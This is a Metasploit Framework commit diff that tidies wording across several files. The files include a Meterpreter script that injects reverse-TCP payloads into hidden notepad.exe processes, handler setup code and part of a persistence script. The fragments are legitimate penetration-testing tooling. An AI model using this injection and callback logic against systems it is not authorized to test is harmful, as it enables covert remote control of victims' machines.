Skip to content

Commit 6dcc9b7

Browse files
committed
More inconsistencies
1 parent a53ca53 commit 6dcc9b7

File tree

5 files changed

+21
-22
lines changed

5 files changed

+21
-22
lines changed

lib/msf/core/db_manager/session.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -191,7 +191,7 @@ def create_mdm_session_from_session(opts)
191191
via_payload: session.via_payload,
192192
}
193193

194-
# In the case of multi handler we cannot yet determine the true
194+
# In the case of exploit/multi/handler we cannot yet determine the true
195195
# exploit responsible. But we can at least show the parent versus
196196
# just the generic handler:
197197
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']

lib/msf/core/exploit/http/server.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -497,7 +497,7 @@ def get_uri(cli=self.cli)
497497
# bind payload but there's nothing we can do about it.
498498
#
499499
# NOTE: The address will be *incorrect* in the following two situations:
500-
# 1. LHOST is pointed at a multi/handler on some other box.
500+
# 1. LHOST is pointed at a exploit/multi/handler on some other box.
501501
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
502502
# using a bind payload. In that case, we don't have an LHOST and
503503
# the source address will be internal.

modules/post/windows/manage/multi_meterpreter_inject.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ def create_multi_handler(payload_to_inject,rport,rhost = '0.0.0.0')
117117
'Payload' => mul.datastore['PAYLOAD'],
118118
'RunAsJob' => true
119119
)
120-
print_good("Multi/Handler started!")
120+
print_good("exploit/multi/handler started!")
121121
end
122122

123123
# Function for Creating the Payload

scripts/meterpreter/multi_meter_inject.rb

Lines changed: 16 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -20,11 +20,11 @@
2020
start_handler = nil
2121
@exec_opts = Rex::Parser::Arguments.new(
2222
"-h" => [ false, "Help menu." ],
23-
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"],
24-
"-m" => [ false, "Start exploit/multi/handler for return connection"],
25-
"-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"],
26-
"-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."],
27-
"-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."]
23+
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)."],
24+
"-m" => [ false, "Start exploit/multi/handler for return connection."],
25+
"-pt" => [ true, "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"],
26+
"-mr" => [ true, "Provide multiple IP addresses for connections separated by comma."],
27+
"-mp" => [ true, "Provide multiple PID for connections separated by comma one per IP."]
2828
)
2929
meter_type = client.platform
3030

@@ -33,17 +33,17 @@
3333
# Usage Message Function
3434
#-------------------------------------------------------------------------------
3535
def usage
36-
print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload"
37-
print_line "in to memory of multiple PIDs, if none is provided a notepad process."
38-
print_line "will be created and a Meterpreter Payload will be injected in to each."
36+
print_line "Meterpreter script for injecting a reverce tcp Meterpreter payload"
37+
print_line "in to memory of multiple PIDs. If none is provided, a notepad process"
38+
print_line "will be created and a Meterpreter payload will be injected in to each."
3939
print_line(@exec_opts.usage)
4040
raise Rex::Script::Completed
4141
end
4242

4343
# Wrong Meterpreter Version Message Function
4444
#-------------------------------------------------------------------------------
4545
def wrong_meter_version(meter = meter_type)
46-
print_error("#{meter} version of Meterpreter is not supported with this Script!")
46+
print_error("#{meter} version of Meterpreter is not supported with this script!")
4747
raise Rex::Script::Completed
4848
end
4949

@@ -62,12 +62,12 @@ def inject(target_pid, payload_to_inject)
6262
host_process.thread.create(mem, 0)
6363
print_good("Successfully injected Meterpreter in to process: #{target_pid}")
6464
rescue::Exception => e
65-
print_error("Failed to Inject Payload to #{target_pid}!")
65+
print_error("Failed to Inject payload to #{target_pid}!")
6666
print_error(e)
6767
end
6868
end
6969

70-
# Function for Creation of Connection Handler
70+
# Function for creation of connection handler
7171
#-------------------------------------------------------------------------------
7272
def create_multi_handler(payload_to_inject)
7373
mul = @client.framework.exploits.create("multi/handler")
@@ -84,7 +84,7 @@ def create_multi_handler(payload_to_inject)
8484

8585
end
8686

87-
# Function for Creating the Payload
87+
# Function for creating the payload
8888
#-------------------------------------------------------------------------------
8989
def create_payload(payload_type,lhost,lport)
9090
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
@@ -98,7 +98,7 @@ def create_payload(payload_type,lhost,lport)
9898
# Function starting notepad.exe process
9999
#-------------------------------------------------------------------------------
100100
def start_proc()
101-
print_good("Starting Notepad.exe to house Meterpreter Session.")
101+
print_good("Starting Notepad.exe to house Meterpreter session.")
102102
proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
103103
print_good("Process created with pid #{proc.pid}")
104104
return proc.pid
@@ -121,12 +121,12 @@ def start_proc()
121121
end
122122
}
123123

124-
# Check for Version of Meterpreter
124+
# Check for version of Meterpreter
125125
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
126-
# Create a Multi Handler is Desired
126+
# Create a exploit/multi/handler if desired
127127
create_multi_handler(payload_type) if start_handler
128128

129-
# Check to make sure a PID or Program name where provided
129+
# Check to make sure a PID or program name where provided
130130

131131
if multi_ip
132132
if multi_pid
@@ -149,4 +149,3 @@ def start_proc()
149149
else
150150
print_error("You must provide at least one IP!")
151151
end
152-

scripts/meterpreter/persistence.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -138,7 +138,7 @@ def write_script_to_target(target_dir,vbs)
138138
return tempvbs
139139
end
140140

141-
# Function for setting multi handler for autocon
141+
# Function for setting exploit/multi/handler for autocon
142142
#-------------------------------------------------------------------------------
143143
def set_handler(selected_payload,rhost,rport)
144144
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
@@ -154,7 +154,7 @@ def set_handler(selected_payload,rhost,rport)
154154
'Payload' => mul.datastore['PAYLOAD'],
155155
'RunAsJob' => true
156156
)
157-
print_good("Multi/Handler started!")
157+
print_good("exploit/multi/handler started!")
158158
end
159159

160160
# Function to execute script on target and return the PID of the process

0 commit comments

Comments
 (0)